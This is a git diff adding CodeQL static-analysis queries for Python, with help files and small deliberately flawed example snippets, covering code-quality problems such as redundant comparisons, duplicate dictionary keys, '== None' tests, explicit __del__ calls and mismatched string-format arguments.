b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.qhelp @@ -0,0 +1,32 @@ + + + + + +

    When two identical expressions are compared it is typically an +indication of a mistake, since the Boolean value of the comparison +will always be the same. Often, it can indicate that self has +been omitted.

    + +
    + + +

    It is never good practice to compare a value with itself. +If self has been omitted, then insert it. If the constant +behavior is indeed required, use the Boolean literals True or +False, rather than encoding them obscurely as x == x +or similar.

    + +
    + + + + + + +
  • Python Language Reference: Comparisons.
  • + +
    +
    diff --git a/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.ql b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.ql new file mode 100644 index 00000000000..9d618c2dbb1 --- /dev/null +++ b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.ql @@ -0,0 +1,21 @@ +/** + * @name Maybe missing 'self' in comparison + * @description Comparison of identical values, the intent of which is unclear. + * @kind problem + * @tags reliability + * maintainability + * external/cwe/cwe-570 + * external/cwe/cwe-571 + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/comparison-missing-self + */ + +import python +import Expressions.RedundantComparison + +from RedundantComparison comparison +where + comparison.maybeMissingSelf() +select comparison, "Comparison of identical values; may be missing 'self'." diff --git a/python/ql/src/Expressions/Comparisons/UselessComparisonTest.py b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.py new file mode 100644 index 00000000000..da0f09aca45 --- /dev/null +++ b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.py @@ -0,0 +1,15 @@ + class KeySorter: + + def __init__(self, obj): + self.obj = obj + + def __lt__(self, other): + return self._compare(self.obj, other.obj) < 0 + + def _compare(self, obj1, obj2): + if obj1 < obj2: + return -1 + elif obj1 < obj2: + return 1 + else: + return 0 diff --git a/python/ql/src/Expressions/Comparisons/UselessComparisonTest.qhelp b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.qhelp new file mode 100644 index 00000000000..7d1b1bd7279 --- /dev/null +++ b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.qhelp @@ -0,0 +1,35 @@ + + + + + + +

    The result of certain comparisons can sometimes be inferred from their context and the results of other +comparisons. This can be an indication of faulty logic and may result in dead +code or infinite loops if, for example, a loop condition never changes its value. +

    + +
    + +

    Inspect the code to check whether the logic is correct, and consider +simplifying the logical expression. +

    + +
    + +

    In the following (real world) example the test obj1 < obj2 is repeated and thus the +second test will always be false, and the function _compare will only ever return 0 or -1. +

    + + + +
    + + + +
  • Python Language Reference: Comparisons.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Comparisons/UselessComparisonTest.ql b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.ql new file mode 100644 index 00000000000..35277300e25 --- /dev/null +++ b/python/ql/src/Expressions/Comparisons/UselessComparisonTest.ql @@ -0,0 +1,42 @@ +/** + * @name Redundant comparison + * @description The result of a comparison is implied by a previous comparison. + * @kind problem + * @tags useless-code + * external/cwe/cwe-561 + * external/cwe/cwe-570 + * external/cwe/cwe-571 + * @problem.severity warning + * @sub-severity high + * @precision high + * @id py/redundant-comparison + */ + +import python +import semmle.python.Comparisons + + +/** A test is useless if for every block that it controls there is another test that is at least as + * strict and also controls that block. + */ +private predicate useless_test(Comparison comp, ComparisonControlBlock controls, boolean isTrue) { + controls.impliesThat(comp.getBasicBlock(), comp, isTrue) and + /* Exclude complex comparisons of form `a < x < y`, as we do not (yet) have perfect flow control for those */ + not exists(controls.getTest().getNode().(Compare).getOp(1)) +} + +private predicate useless_test_ast(AstNode comp, AstNode previous, boolean isTrue) { + forex(Comparison compnode, ConditionBlock block| + compnode.getNode() = comp and + block.getLastNode().getNode() = previous + | + useless_test(compnode, block, isTrue) + ) +} + +from Expr test, Expr other, boolean isTrue +where +useless_test_ast(test, other, isTrue) and not useless_test_ast(test.getAChildNode+(), other, _) + + +select test, "Test is always " + isTrue + ", because of $@", other, "this condition" diff --git a/python/ql/src/Expressions/ContainsNonContainer.py b/python/ql/src/Expressions/ContainsNonContainer.py new file mode 100644 index 00000000000..69e556039c9 --- /dev/null +++ b/python/ql/src/Expressions/ContainsNonContainer.py @@ -0,0 +1,9 @@ +class NotAContainer(object): + + def __init__(self, *items): + self.items = items + +def main(): + cont = NotAContainer(1, 2, 3) + if 2 in cont: + print("2 in container") diff --git a/python/ql/src/Expressions/ContainsNonContainer.qhelp b/python/ql/src/Expressions/ContainsNonContainer.qhelp new file mode 100644 index 00000000000..6a2709390a3 --- /dev/null +++ b/python/ql/src/Expressions/ContainsNonContainer.qhelp @@ -0,0 +1,42 @@ + + + +

    A membership test, that is a binary expression with +in or not in as the operator, expects that the +expression to the right of the operator will be a container.

    +

    As well as standard containers such as list, tuple, +dict or set, +a container can be an instance of any class that has the __contains__, +__iter__ or __getitem__ method. + +

    + +

    +Ensure that the right hand side of the expression is a container, or add a guard +clause for other cases. +For example, if the right side may be a container or None then change +if x in seq: to if seq is not None and x in seq: +

    + +
    + +

    In this example the NotAContainer class has no __contains__, +__iter__ or __getitem__ method. +Consequently, when the line if 2 in cont: is executed a TypeError +will be raised. Adding a __getitem__ method to the +NotAContainer class would solve the problem. +

    + + + +
    + + +
  • Python: Membership test details.
  • +
  • Python: The __contains__ method.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/ContainsNonContainer.ql b/python/ql/src/Expressions/ContainsNonContainer.ql new file mode 100644 index 00000000000..653574d62b1 --- /dev/null +++ b/python/ql/src/Expressions/ContainsNonContainer.ql @@ -0,0 +1,30 @@ +/** + * @name Membership test with a non-container + * @description A membership test, such as 'item in sequence', with a non-container on the right hand side will raise a 'TypeError'. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity high + * @precision high + * @id py/member-test-non-container + */ + +import python + +predicate rhs_in_expr(ControlFlowNode rhs, Compare cmp) { + exists(Cmpop op, int i | cmp.getOp(i) = op and cmp.getComparator(i) = rhs.getNode() | + op instanceof In or op instanceof NotIn + ) +} + +from ControlFlowNode non_seq, Compare cmp, ClassObject cls, ControlFlowNode origin +where rhs_in_expr(non_seq, cmp) and +non_seq.refersTo(_, cls, origin) and +not cls.failedInference() and +not cls.hasAttribute("__contains__") and +not cls.hasAttribute("__iter__") and +not cls.hasAttribute("__getitem__") and +not cls = theNoneType() + +select cmp, "This test may raise an Exception as the $@ may be of non-container class $@.", origin, "target", cls, cls.getName() \ No newline at end of file diff --git a/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.py b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.py new file mode 100644 index 00000000000..14804d31300 --- /dev/null +++ b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.py @@ -0,0 +1,2 @@ +dictionary = {1:"a", 2:"b", 2:"c"} +print dictionary[2] \ No newline at end of file diff --git a/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.qhelp b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.qhelp new file mode 100644 index 00000000000..19c4df9a558 --- /dev/null +++ b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.qhelp @@ -0,0 +1,28 @@ + + + +

    Dictionary literals are constructed in the order given in the source. +This means that if a key is duplicated the second key-value pair will overwrite +the first as a dictionary can only have one value per key. +

    + +
    + +

    Check for typos to ensure that the keys are supposed to be the same. +If they are then decide which value is wanted and delete the other one.

    + +
    + +

    This example will output "c" because the mapping between 2 and "b" is overwritten by the +mapping from 2 to "c". The programmer may have meant to map 3 to "c" instead.

    + + +
    + + +
  • Python: Dictionary literals.
  • + +
    +
    diff --git a/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.ql b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.ql new file mode 100644 index 00000000000..20678da8dc0 --- /dev/null +++ b/python/ql/src/Expressions/DuplicateKeyInDictionaryLiteral.ql @@ -0,0 +1,44 @@ +/** + * @name Duplicate key in dict literal + * @description Duplicate key in dict literal. All but the last will be lost. + * @kind problem + * @tags reliability + * useless-code + * external/cwe/cwe-561 + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/duplicate-key-dict-literal + */ + +import python +import semmle.python.strings + +predicate dict_key(Dict d, Expr k, string s) { + k = d.getAKey() and + ( + s = ((Num)k).getN() + or + // We use � to mark unrepresentable characters + // so two instances of � may represent different strings in the source code + not "�" = s.charAt(_) and + exists(StrConst c | + c = k | + s = "u\"" + c.getText() + "\"" and c.isUnicode() + or + s = "b\"" + c.getText() + "\"" and not c.isUnicode() + ) + ) +} + +from Dict d, Expr k1, Expr k2 +where exists(string s | dict_key(d, k1, s) and dict_key(d, k2, s) and k1 != k2) and +( + exists(BasicBlock b, int i1, int i2 | + k1.getAFlowNode() = b.getNode(i1) and + k2.getAFlowNode() = b.getNode(i2) and + i1 < i2 + ) or + k1.getAFlowNode().getBasicBlock().strictlyDominates(k2.getAFlowNode().getBasicBlock()) +) +select k1, "Dictionary key " + repr(k1) + " is subsequently $@.", k2, "overwritten" diff --git a/python/ql/src/Expressions/EqualsNone.py b/python/ql/src/Expressions/EqualsNone.py new file mode 100644 index 00000000000..d48507ff3ba --- /dev/null +++ b/python/ql/src/Expressions/EqualsNone.py @@ -0,0 +1,12 @@ + +def filter1(function, iterable=None) + if iterable == None: # Comparison using '__eq__' + return [item for item in iterable if item] + else: + return [item for item in iterable if function(item)] + +def filter2(function, iterable=None) + if iterable is None: # Comparison using identity + return [item for item in iterable if item] + else: + return [item for item in iterable if function(item)] diff --git a/python/ql/src/Expressions/EqualsNone.qhelp b/python/ql/src/Expressions/EqualsNone.qhelp new file mode 100644 index 00000000000..2ca33bc4b1b --- /dev/null +++ b/python/ql/src/Expressions/EqualsNone.qhelp @@ -0,0 +1,34 @@ + + + +

    When you compare an object to None, use is rather than ==. +None is a singleton object, comparing using == invokes the __eq__ +method on the object in question, which may be slower than identity comparison. Comparing to +None using the is operator is also easier for other programmers to read.

    + + +
    + + +

    Replace == with is.

    + +
    + +

    The filter2 function is likely to be more efficient than the filter1 +function because it uses an identity comparison.

    + + + + +
    + + + +
  • Python Language Reference: Comparisons, +object.__eq__.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/EqualsNone.ql b/python/ql/src/Expressions/EqualsNone.ql new file mode 100644 index 00000000000..fa36dffb724 --- /dev/null +++ b/python/ql/src/Expressions/EqualsNone.ql @@ -0,0 +1,17 @@ +/** + * @name Testing equality to None + * @description Testing whether an object is 'None' using the == operator is inefficient and potentially incorrect. + * @kind problem + * @tags efficiency + * maintainability + * @problem.severity recommendation + * @sub-severity high + * @precision very-high + * @id py/test-equals-none + */ + +import python + +from Compare c +where c.getOp(0) instanceof Eq and c.getAComparator() instanceof None +select c, "Testing for None should use the 'is' operator." diff --git a/python/ql/src/Expressions/ExpectedMappingForFormatString.py b/python/ql/src/Expressions/ExpectedMappingForFormatString.py new file mode 100644 index 00000000000..410c044adf0 --- /dev/null +++ b/python/ql/src/Expressions/ExpectedMappingForFormatString.py @@ -0,0 +1,7 @@ + +def unsafe_format(): + if unlikely_condition(): + args = (1,2,3) + else: + args = {a:1,b:2,c:3} + return "%(a)s %(b)s %(c)s" % args \ No newline at end of file diff --git a/python/ql/src/Expressions/ExpectedMappingForFormatString.qhelp b/python/ql/src/Expressions/ExpectedMappingForFormatString.qhelp new file mode 100644 index 00000000000..8a9789b418e --- /dev/null +++ b/python/ql/src/Expressions/ExpectedMappingForFormatString.qhelp @@ -0,0 +1,30 @@ + + + +

    If a format string includes conversion specifiers of the form %(name)s then the right hand side of the operation must be a mapping. +A string is a format string if it appears on the left of a modulo (%) operator, the right hand side being the value to be formatted. +If the right hand side is not a mapping then a TypeError will be raised. +Mappings are usually dicts but can be any type that implements the mapping protocol. +

    + + +
    + +

    Change the format to match the arguments and ensure that the right hand side is always a mapping. + +

    + +

    In the following example the right hand side of the formatting operation can be a tuple, which is not a mapping. +To fix this example, ensure that args is a mapping when unlike_condition occurs. +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
    diff --git a/python/ql/src/Expressions/ExpectedMappingForFormatString.ql b/python/ql/src/Expressions/ExpectedMappingForFormatString.ql new file mode 100644 index 00000000000..9c398a3a6ee --- /dev/null +++ b/python/ql/src/Expressions/ExpectedMappingForFormatString.ql @@ -0,0 +1,19 @@ +/** + * @name Formatted object is not a mapping + * @description The formatted object must be a mapping when the format includes a named specifier; otherwise a TypeError will be raised." + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/percent-format/not-mapping + */ + +import python +import semmle.python.strings + +from Expr e, ClassObject t +where exists(BinaryExpr b | b.getOp() instanceof Mod and format_string(b.getLeft()) and e = b.getRight() and +mapping_format(b.getLeft()) and e.refersTo(_, t, _) and not t.isMapping()) +select e, "Right hand side of a % operator must be a mapping, not class $@.", t, t.getName() diff --git a/python/ql/src/Expressions/ExplicitCallToDel.py b/python/ql/src/Expressions/ExplicitCallToDel.py new file mode 100644 index 00000000000..59601a6f34d --- /dev/null +++ b/python/ql/src/Expressions/ExplicitCallToDel.py @@ -0,0 +1,16 @@ + + +def extract_bad(zippath, dest): + zipped = ZipFile(zippath) + try: + zipped.extractall(dest) + finally: + zipped.__del__() + +def extract_good(zippath, dest): + zipped = ZipFile(zippath) + try: + zipped.extractall(dest) + finally: + zipped.close() + diff --git a/python/ql/src/Expressions/ExplicitCallToDel.qhelp b/python/ql/src/Expressions/ExplicitCallToDel.qhelp new file mode 100644 index 00000000000..9ec18b46918 --- /dev/null +++ b/python/ql/src/Expressions/ExplicitCallToDel.qhelp @@ -0,0 +1,33 @@ + + + + +

    The __del__ special method is designed to be called by the Python virtual machine when an object is no longer reachable, +but before it is destroyed. Calling a __del__ method explicitly may cause an object to enter an unsafe state.

    + + +
    + + +

    If explicit clean up of an object is required, a close() method should be called or, better still, +wrap the use of the object in a with statement. +

    + +
    + +

    In the first example, rather than close the zip file in a conventional manner the programmer has called __del__. +A safer alternative is shown in the second example. +

    + + + + +
    + + +
  • Python Standard Library: object.__del__
  • + +
    +
    diff --git a/python/ql/src/Expressions/ExplicitCallToDel.ql b/python/ql/src/Expressions/ExplicitCallToDel.ql new file mode 100644 index 00000000000..1cb2782c885 --- /dev/null +++ b/python/ql/src/Expressions/ExplicitCallToDel.ql @@ -0,0 +1,35 @@ +/** + * @name __del__ is called explicitly + * @description The __del__ special method is called by the virtual machine when an object is being finalized. It should not be called explicitly. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/explicit-call-to-delete + */ + +import python + +class DelCall extends Call { + DelCall() { + ((Attribute)this.getFunc()).getName() = "__del__" + } + + predicate isSuperCall() { + exists(Function f | f = this.getScope() and f.getName() = "__del__" | + // We pass in `self` as the first argument... + f.getArg(0).asName().getVariable() = ((Name)this.getArg(0)).getVariable() or + // ... or the call is of the form `super(Type, self).__del__()`, or the equivalent + // Python 3: `super().__del__()`. + exists(Call superCall | superCall = ((Attribute)this.getFunc()).getObject() | + ((Name)superCall.getFunc()).getId() = "super" + ) + ) + } +} + +from DelCall del +where not del.isSuperCall() +select del, "The __del__ special method is called explicitly." \ No newline at end of file diff --git a/python/ql/src/Expressions/Formatting/AdvancedFormatting.qll b/python/ql/src/Expressions/Formatting/AdvancedFormatting.qll new file mode 100644 index 00000000000..7a451ada1bd --- /dev/null +++ b/python/ql/src/Expressions/Formatting/AdvancedFormatting.qll @@ -0,0 +1,142 @@ +import python + + +library class PossibleAdvancedFormatString extends StrConst { + + PossibleAdvancedFormatString() { + this.getText().matches("%{%}%") + } + + private predicate field(int start, int end) { + brace_pair(this, start, end) and + this.getText().substring(start, end) != "{{}}" + } + + /** Gets the number of the formatting field at [start, end) */ + int getFieldNumber(int start, int end) { + result = this.fieldId(start, end).toInt() + or + this.implicitlyNumberedField(start, end) and + result = count(int s | this.implicitlyNumberedField(s, _) and s < start) + } + + /** Gets the text of the formatting field at [start, end) */ + string getField(int start, int end) { + this.field(start, end) and + result = this.getText().substring(start, end) + } + + private string fieldId(int start, int end) { + this.field(start, end) and + ( + result = this.getText().substring(start, end).regexpCapture("\\{([^!:.\\[]+)[!:.\\[].*", 1) + or + result = this.getText().substring(start+1, end-1) and result.regexpMatch("[^!:.\\[]+") + ) + } + + /** Gets the name of the formatting field at [start, end) */ + string getFieldName(int start, int end) { + result = this.fieldId(start, end) + and not exists(this.getFieldNumber(start, end)) + } + + private predicate implicitlyNumberedField(int start, int end) { + this.field(start, end) and + exists(string c | + start+1 = this.getText().indexOf(c) | + c = "}" or c = ":" or c = "!" or c = "." + ) + } + + /** Whether this format string has implicitly numbered fields */ + predicate isImplicitlyNumbered() { + this.implicitlyNumberedField(_, _) + } + + /** Whether this format string has explicitly numbered fields */ + predicate isExplicitlyNumbered() { + exists(this.fieldId(_, _).toInt()) + } + +} + +predicate brace_sequence(PossibleAdvancedFormatString fmt, int index, int len) { + exists(string text | + text = fmt.getText() | + text.charAt(index) = "{" and not text.charAt(index-1) = "{" and len = 1 + or + text.charAt(index) = "{" and text.charAt(index-1) = "{" and brace_sequence(fmt, index-1, len-1) + ) +} + +predicate escaped_brace(PossibleAdvancedFormatString fmt, int index) { + exists(int len | + brace_sequence(fmt, index, len) | + len % 2 = 0 + ) +} + +predicate escaping_brace(PossibleAdvancedFormatString fmt, int index) { + escaped_brace(fmt, index+1) +} + +private predicate inner_brace_pair(PossibleAdvancedFormatString fmt, int start, int end) { + not escaping_brace(fmt, start) and + not escaped_brace(fmt, start) and + fmt.getText().charAt(start) = "{" and + exists(string pair | pair = fmt.getText().suffix(start).regexpCapture("(?s)(\\{([^{}]|\\{\\{)*+\\}).*", 1) | + end = start + pair.length() + ) +} + +private predicate brace_pair(PossibleAdvancedFormatString fmt, int start, int end) { + inner_brace_pair(fmt, start, end) + or + not escaping_brace(fmt, start) and + not escaped_brace(fmt, start) and + exists(string prefix, string postfix, int innerstart, int innerend | + brace_pair(fmt, innerstart, innerend) and + prefix = fmt.getText().regexpFind("\\{([^{}]|\\{\\{)+\\{", _, start) and + innerstart = start+prefix.length()-1 and + postfix = fmt.getText().regexpFind("\\}([^{}]|\\}\\})*\\}", _, innerend-1) and + end = innerend + postfix.length()-1 + ) +} + +private predicate advanced_format_call(Call format_expr, PossibleAdvancedFormatString fmt, int args) { + exists(CallNode call | + call = format_expr.getAFlowNode() | + call.getFunction().refersTo(theFormatFunction()) and call.getArg(0).refersTo(_, fmt.getAFlowNode()) and + args = count(format_expr.getAnArg()) - 1 + or + call.getFunction().(AttrNode).getObject("format").refersTo(_, fmt.getAFlowNode()) and + args = count(format_expr.getAnArg()) + ) +} + +class AdvancedFormatString extends PossibleAdvancedFormatString { + + AdvancedFormatString() { + advanced_format_call(_, this, _) + } + +} + +class AdvancedFormattingCall extends Call { + + AdvancedFormattingCall() { + advanced_format_call(this, _, _) + } + + /** Count of the arguments actually provided */ + int providedArgCount() { + advanced_format_call(this, _, result) + } + + AdvancedFormatString getAFormat() { + advanced_format_call(this, result, _) + } + +} + diff --git a/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.py b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.py new file mode 100644 index 00000000000..1d483cdf24c --- /dev/null +++ b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.py @@ -0,0 +1,2 @@ +def illegal_format(): + "{} {1}".format("spam", "eggs") diff --git a/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qhelp b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qhelp new file mode 100644 index 00000000000..014ba097cdd --- /dev/null +++ b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.qhelp @@ -0,0 +1,31 @@ + + + +

    A formatting expression, that is an expression of the form the_format.format(args) or format(the_format, args), +can use explicitly numbered fields, like {1}, or implicitly numbered fields, such as {}, but it cannot use both. +Doing so will raise a ValueError. +

    + +
    + +

    +Use either explicitly numbered fields or implicitly numbered fields, but be consistent. +

    + +
    + +

    +In the following example the formatting uses both implicit, {}, and explicit, {1}, numbering for fields, which is illegal. +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql new file mode 100644 index 00000000000..3f488aa9507 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/MixedExplicitImplicitIn3101Format.ql @@ -0,0 +1,18 @@ +/** + * @name Formatting string mixes implicitly and explicitly numbered fields + * @description Using implicit and explicit numbering in string formatting operations, such as '"{}: {1}".format(a,b)', will raise a ValueError. + * @kind problem + * @problem.severity error + * @tags reliability + * correctness + * @sub-severity low + * @precision high + * @id py/str-format/mixed-fields + */ + +import python +import AdvancedFormatting + +from AdvancedFormattingCall call, AdvancedFormatString fmt +where call.getAFormat() = fmt and fmt.isImplicitlyNumbered() and fmt.isExplicitlyNumbered() +select fmt, "Formatting string mixes implicitly and explicitly numbered fields." \ No newline at end of file diff --git a/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.py b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.py new file mode 100644 index 00000000000..591f461437a --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.py @@ -0,0 +1,3 @@ +def surplus_argument(): + the_format = "{} {}" # Used to be "{} {} {}" + return the_format.format(1, 2, 3) diff --git a/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.qhelp b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.qhelp new file mode 100644 index 00000000000..707ddaf7181 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.qhelp @@ -0,0 +1,33 @@ + + + +

    A formatting expression, that is an expression of the form the_format.format(args) or format(the_format, args), +can have any number of arguments, provided that there are enough to match the format. +However, surplus arguments are redundant and clutter the code, making it harder to read. +

    + +

    +It is also possible that surplus arguments indicate a mistake in the format string. +

    + +
    + +

    +Check that the format string is correct and then remove any surplus arguments. +

    + +
    + +

    In the following example there are three arguments for the call to the str.format() method, but the format string only requires two. +The third argument should be deleted.

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.ql b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.ql new file mode 100644 index 00000000000..67c95277375 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedArgumentIn3101Format.ql @@ -0,0 +1,26 @@ +/** + * @name Unused argument in a formatting call + * @description Including surplus arguments in a formatting call makes code more difficult to read and may indicate an error. + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity high + * @precision high + * @id py/str-format/surplus-argument + */ + +import python + + +import python +import AdvancedFormatting + +int field_count(AdvancedFormatString fmt) { result = max(fmt.getFieldNumber(_, _)) + 1 } + +from AdvancedFormattingCall call, AdvancedFormatString fmt, int arg_count, int max_field +where arg_count = call.providedArgCount() and max_field = field_count(fmt) and +call.getAFormat() = fmt and not exists(call.getStarargs()) and +forall(AdvancedFormatString other | other = call.getAFormat() | field_count(other) < arg_count) +select call, "Too many arguments for string format. Format $@ requires only " + max_field + ", but " + +arg_count.toString() + " are provided.", fmt, "\"" + fmt.getText() + "\"" diff --git a/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.py b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.py new file mode 100644 index 00000000000..e2c3b0cde92 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.py @@ -0,0 +1,3 @@ +def surplus_argument(): + the_format = "{spam} {eggs}" # Used to be "{spam} {eggs} {chips}" + return the_format.format(spam = "spam", eggs="eggs", chips="chips") diff --git a/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qhelp b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qhelp new file mode 100644 index 00000000000..12e482ae2c8 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.qhelp @@ -0,0 +1,35 @@ + + + +

    A formatting expression, that is an expression of the form the_format.format(args) or format(the_format, args) +can have keyword arguments of any name, as long as all the required names are provided. +However, surplus keyword arguments, those with names that are not in the format, are redundant. +These surplus arguments clutter the code, making it harder to read. +

    + +

    +It is also possible that surplus keyword arguments indicate a mistake in the format string. +

    + +
    + +

    +Check that the format string is correct and then remove any surplus keyword arguments. +

    + +
    + +

    In the following example, the comment indicates that the chips keyword argument is no longer required and should be deleted. +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql new file mode 100644 index 00000000000..c902b992b1c --- /dev/null +++ b/python/ql/src/Expressions/Formatting/UnusedNamedArgumentIn3101Format.ql @@ -0,0 +1,27 @@ +/** + * @name Unused named argument in formatting call + * @description Including surplus keyword arguments in a formatting call makes code more difficult to read and may indicate an error. + * @kind problem + * @tags maintainability + * useless-code + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/str-format/surplus-named-argument + */ + +import python +import AdvancedFormatting + +from AdvancedFormattingCall call, AdvancedFormatString fmt, string name, string fmt_repr +where call.getAFormat() = fmt and +name = call.getAKeyword().getArg() and +forall(AdvancedFormatString format | format = call.getAFormat() | not format.getFieldName(_, _) = name) +and not exists(call.getKwargs()) and +(strictcount(call.getAFormat()) = 1 and fmt_repr = "format \"" + fmt.getText() + "\"" + or + strictcount(call.getAFormat()) != 1 and fmt_repr = "any format used." +) + +select call, "Surplus named argument for string format. An argument named '" + name + + "' is provided, but it is not required by $@.", fmt, fmt_repr diff --git a/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.py b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.py new file mode 100644 index 00000000000..21fe107eaf9 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.py @@ -0,0 +1,6 @@ +def unsafe_named_format(): + the_format = "{spam} {eggs}" + if unlikely_condition(): + return the_format.format(spam="spam", completely_different="eggs") + else: + return the_format.format(spam="spam", eggs="eggs") diff --git a/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qhelp b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qhelp new file mode 100644 index 00000000000..39c75a0c67f --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.qhelp @@ -0,0 +1,31 @@ + + + +

    A formatting expression, that is an expression of the form the_format.format(args) or format(the_format, args), +can use named fields. If it does, then keyword arguments must be supplied for all named fields. +If any of the keyword arguments are missing then a KeyError will be raised. +

    + +
    + +

    +Change the format to match the arguments and ensure that the arguments have the correct names. +

    + +
    + +

    In the following example, if unlikely_condition() is true, then a KeyError will be raised +as the keyword parameter eggs is missing. +Adding a keyword parameter named eggs would fix this. +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
    diff --git a/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql new file mode 100644 index 00000000000..412d8d55830 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNameInArgumentsFor3101Format.ql @@ -0,0 +1,23 @@ +/** + * @name Missing named arguments in formatting call + * @description A string formatting operation, such as '"{name}".format(key=b)', + * where the names of format items in the format string differs from the names of the values to be formatted will raise a KeyError. + * @kind problem + * @problem.severity error + * @tags reliability + * correctness + * @sub-severity low + * @precision high + * @id py/str-format/missing-named-argument + */ + +import python +import AdvancedFormatting + +from AdvancedFormattingCall call, AdvancedFormatString fmt, string name +where call.getAFormat() = fmt and +not name = call.getAKeyword().getArg() and +fmt.getFieldName(_, _) = name +and not exists(call.getKwargs()) +select call, "Missing named argument for string format. Format $@ requires '" + name + "', but it is omitted.", +fmt, "\"" + fmt.getText() + "\"" \ No newline at end of file diff --git a/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.py b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.py new file mode 100644 index 00000000000..0105d035e32 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.py @@ -0,0 +1,7 @@ +def unsafe_format(): + the_format = "{} {} {}" + if unlikely_condition(): + return the_format.format(1, 2) + else: + return the_format.format(1, 2, 3) + diff --git a/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qhelp b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qhelp new file mode 100644 index 00000000000..bc342bd2c05 --- /dev/null +++ b/python/ql/src/Expressions/Formatting/WrongNumberArgumentsFor3101Format.qhelp @@ -0,0 +1,29 @@ + + + +

    A formatting expression, that is an expression of the form the_format.format(args) or format(the_format, args), +must have sufficient arguments to match the format. Otherwise, an IndexError will be raised. +

    + +
    + +

    +Either change the format to match the arguments, or ensure that there are sufficient arguments. +

    + +
    + +

    In the following example, only 2 arguments may be provided for the call to the str.format method, +which is insufficient for the format string used. To fix this a third parameter should be provided on line 4. +

    + + +
    + + +
  • Python Library Reference: String Formatting.
  • + +
    +
